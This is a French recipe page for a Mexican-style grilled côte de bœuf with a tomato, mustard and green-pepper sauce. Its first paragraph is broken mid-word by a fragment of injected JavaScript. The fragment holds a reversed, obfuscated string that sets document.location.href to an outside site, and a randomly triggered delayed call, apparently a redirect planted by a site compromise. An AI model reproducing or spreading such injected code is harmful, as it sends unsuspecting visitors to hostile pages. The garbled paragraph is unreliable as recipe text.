Côte de bœuf à la Mexicaine
2017-12-26- Cuisine : Viandes
- Thématique : Barbecue, Recettes du monde
- Niveau : Facile
Préparez les braises du barbecue. Écrasez le poivre vert. Dans un récipient mélangez le concentré de tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate avec la moutarde, le poivre écrasé, quelques gouttes de chili. Et obtenir une sauce épaisse. Salez légèrement.
Ingrédients
- Pour 4 personnes
- 1 côte de bœuf de 1,2 kg
- 3 cuillères à soupe de concentré de tomate
- 1 cuillère à soupe de moutarde en grains
- 1 cuillère à soupe de poivre vert
- 2 gousses d'ail
- 1 cuillère à café de sucre en poudre
- Quelques gouttes de chili où tabasco
- Huile d'arachide où de colza
- Sel
Préparation de la recette
Etape 1
Préparez les braises du barbecue. Écrasez le poivre vert. Dans un récipient mélangez le concentré de tomate avec la moutarde, le poivre écrasé, quelques gouttes de chili. Obtenir une sauce épaisse. Salez légèrement.
Etape 2
Faites chauffer le gril que vous huilez légèrement avec un pinceau. Déposez la côte de bœuf que vous faites griller pendant 4 minutes sur les 2 faces.
Etape 3
Bien grillée, enduisez la de sauce. Dégustez avec des frites.
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